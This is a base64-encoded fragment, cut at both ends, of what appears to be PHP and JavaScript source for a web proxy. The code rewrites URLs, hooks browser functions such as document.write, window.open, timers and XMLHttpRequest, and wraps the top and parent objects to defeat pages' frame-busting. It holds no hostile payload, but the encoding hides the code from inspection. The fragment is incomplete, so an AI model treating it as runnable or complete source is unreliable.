llP3VuZGVmaW5lZDp0aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQxMCIpKTsNCgkJCWNhc2UgInBsdWdpbnMiOiByZXR1cm4gKDw/cGhwIGVjaG8oKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pPycxJzonMCcpKTsgPz49PTE/bmF2aWdhdG9yLnBsdWdpbnM6dW5kZWZpbmVkKTsNCgkJCWNhc2UgIm1pbWVUeXBlIjogcmV0dXJuIG5hdmlnYXRvci5taW1lVHlwZTsNCgkJCWRlZmF1bHQ6IHJldHVybiB1bmRlZmluZWQ7DQoJCX0NCgl9DQoNCglpZihvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJzZWFyY2giKSB1cmw9bG9jYXRpb24uaHJlZjsNCgllbHNlIHVybD1vYmpbYXR0cl07DQoJdXJsPXRoaXMuZGVfc3Vycm9nYWZ5X3VybCh1cmwpOw0KCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09InNlYXJjaCIpIHVybD11cmwucmVwbGFjZSgvXlteP10qLywiIik7DQoJcmV0dXJuIHVybDsNCn0sDQoNCmV2ZW50aWZ5OmZ1bmN0aW9uKGExLGEyKXsNCglkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGZ1bmN0aW9uKCl7PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRQYXJlbnRTdHVmZihhMSxhMik7fSxmYWxzZSk7DQoJd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGZ1bmN0aW9uKCl7PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRQYXJlbnRTdHVmZihhMSxhMik7fSxmYWxzZSk7DQoJdGhpcy5zZXRQYXJlbnRVUkwodGhpcy5DVVJSX1VSTCk7DQp9LA0KDQpzZXRQYXJlbnRVUkw6ZnVuY3Rpb24odXJsKXsNCglpZih0aGlzLnRoZXRvcCE9bnVsbCAmJiB0aGlzLnRoZXRvcCE9d2luZG93KXsNCgkJdGhpcy50aGV0b3AuZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VybCcpLnZhbHVlPXVybDsNCgkJdGhpcy50aGV0b3AuZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Byb3h5X2xpbmsnKS5ocmVmPXRoaXMuYWRkX3F1ZXJ5c3R1ZmYodGhpcy5zdXJyb2dhZnlfdXJsKHVybCksIj0tJiIpOw0KCX0NCn0sDQoNCnNldFBhcmVudFN0dWZmOmZ1bmN0aW9uKHByb3RvLHNlcnZlcil7IC8vIGFtYXppbmcgY3JlYXRpdml0eSB3aXRoIHRoZSBuYW1lIG9uIG15IHBhcnQNCgl2YXIgdG9wZG9jPXRoaXMudGhldG9wLmRvY3VtZW50Ow0KCXRvcGRvYy50aXRsZT1kb2N1bWVudC50aXRsZTsNCg0KCS8vIGZpbmQgYW5kIHNldCBzaG9ydGN1dCBpY29uDQoJdmFyIHRvcGhlYWQ9dG9wZG9jLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF07DQoJdmFyIGxpbmtzPXRvcGhlYWQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKTsNCgl2YXIgbGluaz1udWxsOw0KCWZvcih2YXIgaT0wOyBpPGxpbmtzLmxlbmd0aDsgaSsrKXsgaWYobGlua3NbaV0udHlwZT09ImltYWdlL3gtaWNvbiIgJiYgbGlua3NbaV0ucmVsPT0ic2hvcnRjdXQgaWNvbiIpIGxpbms9bGlua3NbaV07IH0NCg0KCWlmKHRvcGhlYWQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKS5sZW5ndGg+MCkgdG9waGVhZC5yZW1vdmVDaGlsZCh0b3Bkb2MuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKVswXSk7DQoNCgl2YXIgZmF2aWNvbj10b3Bkb2MuY3JlYXRlRWxlbWVudCgibGluayIpOw0KCWZhdmljb24udHlwZT0iaW1hZ2UveC1pY29uIjsNCglmYXZpY29uLnJlbD0ic2hvcnRjdXQgaWNvbiI7DQoJZmF2aWNvbi5ocmVmPShsaW5rPT1udWxsP3RoaXMuc3Vycm9nYWZ5X3VybChwcm90bysiOi8vIitzZXJ2ZXIrIi9mYXZpY29uLmljbyIpOmxpbmsuaHJlZik7DQoJdG9waGVhZC5hcHBlbmRDaGlsZChmYXZpY29uKTsNCn0sDQoNClhNTEh0dHBSZXF1ZXN0X3dyYXA6ZnVuY3Rpb24oeG1saHR0cG9iail7DQoJeG1saHR0cG9iai48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X29wZW49eG1saHR0cG9iai5vcGVuOw0KCXhtbGh0dHBvYmoub3Blbj08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LlhNTEh0dHBSZXF1ZXN0X29wZW47DQoJcmV0dXJuIHhtbGh0dHBvYmo7DQp9LA0KDQpYTUxIdHRwUmVxdWVzdF9vcGVuOmZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwyKSByZXR1cm47DQoJYXJndW1lbnRzWzFdPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4uc3Vycm9nYWZ5X3VybChhcmd1bWVudHNbMV0pOw0KCXJldHVybiB0aGlzLjw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fb3Blbi5hcHBseSh0aGlzLGFyZ3VtZW50cyk7DQp9LA0KDQovLyBXUkFQUEVEIEZVTkNUSU9OUyBBTkQgT0JKRUNUUw0KdGhldG9wOnRvcCwNCnRoZXBhcmVudDpwYXJlbnQsDQpzZXRUaW1lb3V0OndpbmRvdy5zZXRUaW1lb3V0LA0Kc2V0SW50ZXJ2YWw6d2luZG93LnNldEludGVydmFsLA0KZG9jdW1lbnRfd3JpdGVfcXVldWU6IiIsDQpwdXJnZTpmdW5jdGlvbigpew0KCXRoZWh0bWw9dGhpcy5kb2N1bWVudF93cml0ZV9xdWV1ZTsNCglpZih0aGVodG1sPT0iIikgcmV0dXJuOw0KCXRoZWh0bWw9dGhpcy5wYXJzZV9hbGxfaHRtbCh0aGVodG1sKTsNCgl0aGlzLmRvY3VtZW50X3dyaXRlX3F1ZXVlPSIiOw0KCS8vYWxlcnQodGhlaHRtbCk7IC8vIERFQlVHDQoJZG9jdW1lbnQud3JpdGVfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pih0aGVodG1sKTsNCn0sDQoNCnB1cmdlX25vcGFyc2U6ZnVuY3Rpb24oKXsNCgl0aGVodG1sPXRoaXMuZG9jdW1lbnRfd3JpdGVfcXVldWU7DQoJaWYodGhlaHRtbD09IiIpIHJldHVybjsNCgl0aGlzLmRvY3VtZW50X3dyaXRlX3F1ZXVlPSIiOw0KCWRvY3VtZW50LndyaXRlXzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4odGhlaHRtbCk7DQp9DQoNCn0NCg0KLy8gfX19DQoNCi8vIEpBVkFTQ1JJUFQgRlVOQ1M6IFdSQVBQSU5HIHt7ew0KDQpkb2N1bWVudC53cml0ZV88P3BocCBlY2hvKENPT0tfUFJFRik7ID8+PWRvY3VtZW50LndyaXRlOw0KZG9jdW1lbnQud3JpdGVsbl88P3BocCBlY2hvKENPT0tfUFJFRik7ID8+PWRvY3VtZW50LndyaXRlbG47DQpkb2N1bWVudC53cml0ZT1mdW5jdGlvbihodG1sKXsgPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kb2N1bWVudF93cml0ZV9xdWV1ZSs9aHRtbDsgfQ0KZG9jdW1lbnQud3JpdGVsbj1mdW5jdGlvbihodG1sKXsgPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kb2N1bWVudF93cml0ZV9xdWV1ZSs9aHRtbCsiXG4iOyB9DQoNCndpbmRvdy5vcGVuXzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz49d2luZG93Lm9wZW47DQp3aW5kb3cub3Blbj1kb2N1bWVudC5vcGVuPWZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwxKSByZXR1cm47DQoJdmFyIHVybD08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnN1cnJvZ2FmeV91cmwoYXJndW1lbnRzWzBdKTsNCglpZigodXJsLnN1YnN0cmluZygwLDEpPT0iXCIiIHx8IHVybC5zdWJzdHJpbmcoMCwxKT09IiciKSAmJiB1cmwuc3Vic3RyaW5nKDAsMSk9PXVybC5zdWJzdHJpbmcodXJsLmxlbmd0aC0xLHVybC5sZW5ndGgpKSB1cmw9dXJsLnN1YnN0cmluZygxLHVybC5sZW5ndGgtMSk7DQoJYXJndW1lbnRzWzBdPXVybDsNCglyZXR1cm4gd2luZG93Lm9wZW5fPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5hcHBseSh0aGlzLmNhbGxlcixhcmd1bWVudHMpOw0KfQ0KDQpzZXRUaW1lb3V0PWZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwyKSByZXR1cm47DQoJYXJndW1lbnRzWzBdPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGFyc2VfYWxsX2h0bWwoYXJndW1lbnRzWzBdLCJhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiKTsNCglyZXR1cm4gPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRUaW1lb3V0LmFwcGx5KHRoaXMsYXJndW1lbnRzKTsNCn0NCg0Kc2V0SW50ZXJ2YWw9ZnVuY3Rpb24oKXsNCglpZihhcmd1bWVudHMubGVuZ3RoPDIpIHJldHVybjsNCglhcmd1bWVudHNbMF09PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5wYXJzZV9hbGxfaHRtbChhcmd1bWVudHNbMF0sImFwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCIpOw0KCXJldHVybiA8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnNldEludGVydmFsLmFwcGx5KHRoaXMsYXJndW1lbnRzKTsNCn0NCg0KLyogaG9va2luZyBmb3IgZXZhbCgpLCBub3QgbmVjZXNzYXJ5IGFueW1vcmUsIGJ1dCB3b3JrZWQgcmVsYXRpdmVseSB3ZWxsIGluIHRoZSBwYXN0DQovKmV2YWxfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj1ldmFsOw0KZXZhbD1mdW5jdGlvbigpew0KCWlmKGFyZ3VtZW50cy5sZW5ndGg8MSkgcmV0dXJuOw0KCWFyZ3VtZW50c1swXT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnBhcnNlX2FsbF9odG1sKGFyZ3VtZW50c1swXSwiYXBwbGljYXRpb24veC1qYXZhc2NyaXB0Iik7DQoJcmV0dXJuIGV2YWxfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5hcHBseSh0aGlzLmNhbGxlcixhcmd1bWVudHMpOw0KfSovDQoNCi8vIHdyYXAgdG9wIGFuZCBwYXJlbnQgb2JqZWN0cyBmb3IgYW50aS1mcmFtZSBicmVha2luZw0KaWYoPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5QQUdFX0ZSQU1FRCl7DQoJaWYocGFyZW50PT10b3ApIHBhcmVudD1zZWxmOw0KCWlmKHRvcCE9c2VsZikgdG9wPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4udGhldG9wLmZyYW1lc1swXTsNCn0NCg0KLy8gfX19DQoNCi8vPC9zY3JpcHQ+PD9waHAgZXhpdCgpOyB9DQoNCiMgfX19DQoNCiMgUkVHRVhQUyB7e3sNCg0KIyBUaGlzIGlzIHdoZXJlIGFsbCB0aGUgcGFyc2luZyBpcyBkZWZpbmVkLiAgSWYgYSBzaXRlIGlzbid0IGJlaW5nDQojIHBhcnNlZCBwcm9wZXJseSwgdGhlIHByb2JsZW0gaXMgbW9yZSB0aGFuIGxpa2VseSBpbiB0aGlzIHNlY3Rpb24uDQojIFRoZSByZXN0IG9mIHRoZSBjb2RlIGlzIGp1c3QgdGhlcmUgdG8gc2V0IHVwIHRoaXMgd29uZGVyZnVsIGJ1bmNoDQojIG9mIGluY29tcHJlaGVuc2libGUgcmVndWxhciBleHByZXNzaW9ucy4NCg0KDQojIFJFR0VYUFM6IENPTlZFUlNJT04gVE8gSkFWQVNDUklQVCB7e3sNCg0KZnVuY3Rpb24gYm9vbF90b19qcygkYm9vbCl7IHJldHVybiAoJGJvb2w/J3RydWUnOidmYWxzZScpOyB9DQpmdW5jdGlvbiBjb252ZXJ0YXJyYXlfdG9famF2YXNjcmlwdCgpew0KCWdsb2JhbCAkcmVnZXhwX2FycmF5czsNCgkkanM9J3JlZ2V4cF9hcnJheXM9bmV3IEFycmF5KCcuY291bnQoJHJlZ2V4cF9hcnJheXMpLiIpO1xuIjsNCglyZXNldCgkcmVnZXhwX2FycmF5cyk7DQoJd2hpbGUobGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpKXsNCgkJJGpzLj0icmVnZXhwX2FycmF5c1tcIiRrZXlcIl09bmV3IEFycmF5KCIuY291bnQoJGFycikuIik7XG4iOw0KCQlmb3IoJGk9MDskaTxjb3VudCgkYXJyKTskaSsrKXsNCgkJCSRqcy49InJlZ2V4cF9hcnJheXNbXCIka2V5XCJdWyRpXT1uZXcgQXJyYXkoIjsNCgkJCWlmKCRhcnJbJGldWzBdPT0xKSAkanMuPScxLCcuZXNjYXBlX3JlZ2V4cCgkYXJyWyRpXVsyXSkuJ2csIicuZXNjYXBlX3JlZ2V4cCgkYXJyWyRpXVszXSx0cnVlKS4nIic7DQoJCQllbHNlaWYoJGFyclskaV1bMF09PTIpICRqcy49JzIsJy5lc2NhcGVfcmVnZXhwKCRhcnJbJGldWzJdKS4iZyx7JGFyclskaV1bM119Ii4oY291bnQoJGFyclskaV0pPDU/bnVsbDonLCcuYm9vbF90b19qcygkYXJyWyRpXVs0XSkpLihjb3VudCgkYXJyWyRpXSk8Nj9udWxsOiIseyRhcnJbJGldWzVdfSIpOw0KCQkJJGpzLj0iKTtcbiI7DQoJCX0NCgl9DQoJcmV0dXJuIHN0cmlwc2xhc2hlcygkanMpOw0KfQ0KDQojIH19fQ0KDQojIFJFR0VYUFM6IFZBUklBQkxFUyB7e3sNCg0KZ2xvYmFsICRyZWdleHBfYXJyYXlzOw0KDQojICdpbWcnIHdhcyBpbiAkanNhdHRycy4uLiB3aGF0J3MgdGhhdCBmb3I/DQokanNhdHRycz0nKD86aHJlZnxzcmN8bG9jYXRpb258YWN0aW9ufGJhY2tncm91bmRJbWFnZXxwbHVnaW5zcGFnZXxjb2RlYmFzZXxsb2NhdGlvblwuaHJlZnxpbm5lckhUTUwpJzsNCiRqc2hvb2thdHRycz0iKD86eyRqc2F0dHJzfXxjb29raWV8c2VhcmNofGhvc3RuYW1lKSI7DQokanNob29rZ2V0YXR0cnM9Iig/OnskanNob29rYXR0cnN9fHVzZXJBZ2VudHxwbGF0Zm9ybXxhcHBDb2RlTmFtZXxhcHBOYW1lfGFwcFZlcnNpb258bGFuZ3VhZ2V8b3NjcHV8cHJvZHVjdHxwcm9kdWN0U3VifHBsdWdpbnMpIjsNCi8vJGpzaHRtbGF0dHJzPScoaW5uZXJIVE1MKSc7DQokanNtZXRob2RzPScobG9jYXRpb25cLig/OnJlcGxhY2V8YXNzaWduKSknOw0KJGpzbG9jaG9zdD0nKGxvY2F0aW9uXC5ob3N0KD86bmFtZSl7MCwxfSknOw0KLy8kanNsb2NzZWFyY2g9Jyhsb2NhdGlvblwuc2VhcmNoKSc7DQovLyRqc3JlYWxwYWdlPScoKD86KD86ZG9jdW1lbnR8d2luZG93KVwuKXswLDF9bG9jYXRpb24oPzooPz1bXlwuXSl8XC5ocmVmKXxkb2N1bWVudFwuZG9jdW1lbnRVUkl8W2Etel0rXC5yZWZlcnJlciknOw0KJGh0bWxhdHRycz0nKGRhdGF8aHJlZnxzcmN8YmFja2dyb3VuZHxwbHVnaW5zcGFnZXxjb2RlYmFzZXxhY3Rpb24pJzsNCg0KJGp1c3RzcGFjZT0iW1x0IF0qIjsNCiRwbHVzanVzdHNwYWNlPSJbXHQgXSsiOw0KJGFueXNwYWNlPSJbXHRcclxuIF0qIjsNCiRwbHVzc3BhY2U9IltcdFxyXG4gXSsiOw0KJG9wZXJhbmRzPSdbXCtcLVwvXCpdJzsNCiRub3RvcGVyYW5kcz0nW15cK1wtXC9cKl0nOw0KDQokcXVvdGVzZWc9Jyg/OiIoPzpbXiJdfFtcXFxcXSIpKj8ifFwnKD86W15cJ118W1xcXFxdXCcpKj9cJyc7DQokcmVnc2VnPSdcLyg/OlteXC9dfFtcXFxcXVwvKSo/XC8nOw0KDQovLyRqc29ianNlY3Q9InskanN2YXJzZWN0fSg/OlwoKD86eyRxdW90ZXNlZ318eyRqc3ZhcnNlY3R9fCkpXCkpPyI7DQovLyRqc29ianNlY3Q9InskanN2YXJzZWN0fSg/OlwoeyRhbnlzcGFjZX0oPzp7JHF1b3Rlc2VnfXx7JGpzdmFyc2VjdH18KSkoPzp7JGFueXNwYWNlfSx7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKSp7JGFueXNwYWNlfVwpKT8oPzpcWyg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVxdKT8iOw0KLy8kanNvYmpzZWN0PSJ7JGpzdmFyc2VjdH0oPzpcKCg/OlteXChcKVwiJ10qKD86eyRxdW90ZXNlZ318KD9SKSkpKVwpKT8oPzpcWyg/OlteXFtcXVwiJ10qKD86eyRxdW90ZXNlZ318KD9SKSkpKVxdKT8iOw0KLy8kanN2YXJvYmo9Jyg/OlthLXpBLVowLTlcLl9cKFwpXFtcXVwrXC1dKyknOw0KJGpzdmFyc2VjdD0nW2EtekEtWjAtOV9cJF0oPzpbYS16QS1aMC05XCRcLl9cL1xbXF1cKy1dKlthLXpBLVowLTlfXC9cXV0pPyc7DQokanNvYmpzZWN0PSJ7JGpzdmFyc2VjdH0oPzpcKCg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVwpKT8oPzpcWyg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVxdKT8iOw0KJGpzdmFyb2JqPSJ7JGpzb2Jqc2VjdH0oPzpcLnskanNvYmpzZWN0fSkqIjsNCi8vJGpzcXVvdGVyZWc9IigoPzooPzp7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJvYmp9KXskYW55c3BhY2V9XCspKil7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJvYmp9KXskanVzdHNwYWNlfSg/PVs7XH1cblxyXSkpIjsgIyBIVUg/DQokanNxdW90ZXNlY3Q9Iig/OnskYW55c3BhY2V9eyRxdW90ZXNlZ318eyRqc3Zhcm9ian0pKSI7DQokanNxdW90ZXJlZz0ieyRqc3F1b3Rlc2VjdH0oPzpcK3skanNxdW90ZXNlY3R9KSoiOw0KDQovLyRub3Rqc3ZhcnNlY3Q9J1teYS16QS1aMC05XC5fXFtcXVwrLV0nOw0KLy8kbm90anN2YXJzZWN0PSdbXmEtekEtWjAtOVwuX1xbXF1cL10nOw0KJG5vdGpzdmFyc2VjdD0nW15hLXpBLVowLTlcLl9cW1xdXSc7DQoNCi8vJGpzZW5kPSIoPz17JGFueXNwYWNlfVs7XH1cblxyXCdcIl0pIjsNCi8vJGpzZW5kPSIoPz17JGFueXNwYWNlfSg/Ols7XH1dfHskbm90b3BlcmFuZHN9W1xuXHJdKSkiOw0KJGpzZW5kPSIoPz17JGp1c3RzcGFjZX0oPzpbO1x9XG5ccl18eyRub3RvcGVyYW5kc31bXG5ccl0pKSI7DQokbm90anNlbmQ9Iig/IXskanVzdHNwYWNlfSg/Ols7XH1cblxyXXx7JG5vdG9wZXJhbmRzfVtcblxyXSkpIjsNCiRqc2JlZ2luPSIoKD86Wztce1x9XG5cclwoXCldfFtcIT1dPSl7JGFueXNwYWNlfSkiOw0KLy8kanNiZWdpbnJpZ2h0PSIoKD86Wztce1x9XG5cclwoXCk9XCtcLVwvXCpdKXskYW55c3BhY2V9KSI7DQokanNiZWdpbnJpZ2h0PSIoKD86Wztce1x9XChcKT1cK1wtXC9cKl0peyRqdXN0c3BhY2V9KSI7DQoNCiRodG1sbm9xdW90PScoPzpbXiJcJ1xcXFxdW14+IF0qKSc7DQokaHRtbG5vcXVvdG5vcW09Jyg/OlteXD8iXCdcXFxcXVteXD8+IF0qKSc7DQokaHRtbHJlZz0iKHskcXVvdGVzZWd9fHskaHRtbG5vcXVvdH0pKSI7DQokeG1saHR0cHJlcT0iKD86WE1MSHR0cFJlcXVlc3R7JGFueXNwYWNlfSg/OlwoeyRhbnlzcGFjZX1cKXwpfEFjdGl2ZVhPYmplY3R7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX1bXlwpXStcLlhNTEhUVFBbJ1wiXXskYW55c3BhY2V9XCkpKD89OykiOw0KJGpzbmV3b2JqPSIoPzp7JGFueXNwYWNlfW5ld3skcGx1c3NwYWNlfXx7JGFueXNwYWNlfSkiOw0KJGZvcm1ub3Rwb3N0PSIoPzooPyFtZXRob2R7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/Oid8XCIpP3Bvc3QpW14+XSkiOw0KJGZyYW1ldGFyZ2V0cz0nXyg/OnRvcHxwYXJlbnR8c2VsZiknOw0KDQokanNfc3RyaW5nX21ldGhvZHM9Jyg/OmFuY2hvcnxiaWd8Ymxpbmt8Ym9sZHxjaGFyQXR8Y2hhckNvZGVBdHxjb25jYXR8Zml4ZWR8Zm9udGNvbG9yfGZvbnRzaXplfGZyb21DaGFyQ29kZXxpbmRleE9mfGl0YWxpY3N8bGFzdEluZGV4T2Z8bGlua3xtYXRjaHxyZXBsYWNlfHNlYXJjaHxzbGljZXxzbWFsbHxzcGxpdHxzdHJpa2V8c3VifHN1YnN0cnxzdWJzdHJpbmd8c3VwfHRvTG93ZXJDYXNlfHRvVXBwZXJDYXNlfHRvU291cmNlfHZhbHVlT2YpJzsNCiRqc19zdHJpbmdfYXR0cnM9Jyg/OmNvbnN0cnVjdG9yfGxlbmd0aHxwcm90b3R5cGUpJzsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBKQVZBU0NSSVBUIFBBUlNJTkcge3t7DQoNCiRqc19yZWdleHBfYXJyYXlzPWFycmF5KA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC4oeyRqc2hvb2tnZXRhdHRyc30peyRhbnlzcGFjZX1cKz0vaSIsJ1wxXDIuXDM9Jy5DT09LX1BSRUYuJy5nZXRBdHRyKFwyLC9cMy8pKycpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC4oKHskanNob29rYXR0cnN9KXskYW55c3BhY2V9PSg/OnskYW55c3BhY2V9eyRqc3Zhcm9ian17JGFueXNwYWNlfT0pKnskYW55c3BhY2V9KSgoPyFcPSkoeyRub3Rqc2VuZH0uKSopeyRqc2VuZH0vaSIsJ1wxJy5DT09LX1BSRUYuJy5zZXRBdHRyKFwyLC9cNC8sXDUpJyksDQoJYXJyYXkoMSwyLCIveyRqc2JlZ2lucmlnaHR9KHskanN2YXJvYmp9KVwuKHskanNob29rZ2V0YXR0cnN9KShbXlwuPWEtejAtOV9cW1xdXHRcclxuXXxcLnskanNfc3RyaW5nX21ldGhvZHN9XCh8XC57JGpzX3N0cmluZ19hdHRyc317JG5vdGpzdmFyc2VjdH0pL2kiLCdcMScuQ09PS19QUkVGLicuZ2V0QXR0cihcMiwvXDMvKVw0JyksDQoNCglhcnJheSgxLDIsIi8oW15hLXowLTldeyRqc21ldGhvZHN9eyRhbnlzcGFjZX1cKCkoW14pXSopXCkvaSIsJ1wxJy5DT09LX1BSRUYuJy5zdXJyb2dhZnlfdXJsKFwzKSknKSwNCglhcnJheSgxLDIsIi8oW15hLXowLTldKWV2YWx7JGFueXNwYWNlfVwoKHskYW55c3BhY2V9eyRqc3Zhcm9ian0pXCkvaSIsJ1wxZXZhbCgnLkNPT0tfUFJFRi4nLnBhcnNlX2FsbF9odG1sKFwyLCJhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiKSknKSwNCg0KCWFycmF5KDEsMiwiL3skanNiZWdpbn1cLmFjdGlvbnskYW55c3BhY2V9PS9pIiwnXDEuJy5DT09LX1BSRUYuJy52YWx1ZT0nKSwNCgkvL2FycmF5KDEsMiwiL3skanNiZWdpbn0oXC5zZXRBdHRyaWJ1dGV7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX0oXCJ8JykoeyRqc2F0dHJzfSkoXFwyKXskYW55c3BhY2V9LHskYW55c3BhY2V9KSguKj8peyRqc2VuZH0vaSIsJ1wxXDInLkNPT0tfUFJFRi4nLnN1cnJvZ2FmeV91cmwoXDYpJyksDQoJLy9hcnJheSgxLDIsIi97JGpzYmVnaW59KFwuc2V0QXR0cmlidXRleyRhbnlzcGFjZX1cKHskYW55c3BhY2V9KFwifCcpKHskanNhdHRyc30pKFxcMil7JGFueXNwYWNlfSx7JGFueXNwYWNlfSkoLio/KXskanNlbmR9L2kiLCdcMVwyJy5DT09LX1BSRUYuJy5zdXJyb2dhZnlfdXJsKFw2KScpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC5zZXRBdHRyaWJ1dGV7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX0oeyRqc3F1b3RlcmVnfSl7JGFueXNwYWNlfSx7JGFueXNwYWNlfSh7JGpzcXVvdGVyZWd9KXskYW55c3BhY2V9XCkvaSIsJ1wxJy5DT09LX1BSRUYuJy5zZXRBdHRyKFwyLFwzLFw0KScpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oW15cIHs+XHRcclxuPTtdK3skYW55c3BhY2V9PSkoeyRqc25ld29ian17JHhtbGh0dHByZXF9KS9pIiwnXDFcMicuQ09PS19QUkVGLicuWE1MSHR0cFJlcXVlc3Rfd3JhcChcMyknKSwNCglhcnJheSgxLDIsIi97JGpzYmVnaW59KHJldHVybnskcGx1c3NwYWNlfSkoeyRqc25ld29ian17JHhtbGh0dHByZXF9KS9pIiwnXDFcMicuQ09PS19QUkVGLicuWE1MSHR0cFJlcXVlc3Rfd3JhcChcMyknKSwNCgkoRU5DUllQVF9VUkxTP2FycmF5KDEsMiwiL3skanNiZWdpbn0oKD86W15cKSBce1x9XSooPzpcKVwuezAsMX0pKSspKFwuc3VibWl0eyRhbnlzcGFjZX1cKFwpKXskanNlbmR9L2kiLCdcMXZvaWQoKFwyLm1ldGhvZD09InBvc3QiP251bGw6XDJcMykpOycpOm51bGwpLA0KKTsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBIVE1ML0NTUyBQQVJTSU5HIHt7ew0KDQokcmVnZXhwX2FycmF5cz1hcnJheSgNCgkndGV4dC9odG1sJyA9PiBhcnJheSgNCgkJIyMgZG8gSFRNTCBiYXNlZCBqYXZhc2NyaXB0IHN0dWZmICMgT0xEV0FZDQoJCSNhcnJheSgxLDEsIi8oIG9uW2Etel17MywyMH17JGFueXNwYWNlfT17JGFueXNwYWNlfSkoPzooXCIpKFteXCJdKykoXCIpfCgnKShbXiddKykoJykpL2kiLCdcMVwyXDU7XDNcNjtcNFw3JyksICMgT0xEV0FZDQoJCSNhcnJheSgxLDIsIi8oPHNjcmlwdCg/Oig/Oig/ISBzcmN7JGFueXNwYWNlfT0pW14+XSkqKT4pKFtcc1xTXSo/KSg/OnskYW55c3BhY2V9KD86XC9cLyk/eyRhbnlzcGFjZX0tLT57JGFueXNwYWNlfSk/PFwvc2NyaXB0Pi9pIiwnXDFcMjsnLkNPT0tfUFJFRi4nLnB1cmdlKCk7Ly8tLT48L3NjcmlwdD4nKSwgIyBPTERXQVkNCg0KCQkjIHRhcmdldCBhdHRyDQoJCShQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFP2FycmF5KDEsMSwiLyg8W2Etel1bXj5dKnskYW55c3BhY2V9KSB0YXJnZXR7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/OnskZnJhbWV0YXJnZXRzfXwoJyl7JGZyYW1ldGFyZ2V0c30nfChcIil7JGZyYW1ldGFyZ2V0c31cIikvaSIsJ1wxJyk6bnVsbCksDQoJCShQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9DSElMRD9hcnJheSgxLDEsIi8oPFthLXpdW14+XSp7JGFueXNwYWNlfSB0YXJnZXR7JGFueXNwYWNlfT17JGFueXNwYWNlfSkoPzpfdG9wfCgnKV90b3AnfChcIilfdG9wXCIpL2kiLCdcMVwyXDMnLkNPT0tfUFJFRi4nX3RvcFwyXDMnKTpudWxsKSwNCg0KCQkjIGRlYWwgd2l0aCA8Zm9ybT5zDQoJCWFycmF5KDEsMSwiLyg8Zm9ybXskZm9ybW5vdHBvc3R9Kj8pKD86eyRwbHVzc3BhY2V9YWN0aW9ueyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9KSh7JGZvcm1ub3Rwb3N0fSopPi9pIiwnXDFcMz48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSIiIGNsYXNzPSInLkNPT0tfUFJFRi4nIiB2YWx1ZT1cMiAvPicpLA0KCQlhcnJheSgyLDEsIi88aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJcIiBjbGFzcz1cIiIuQ09PS19QUkVGLiJ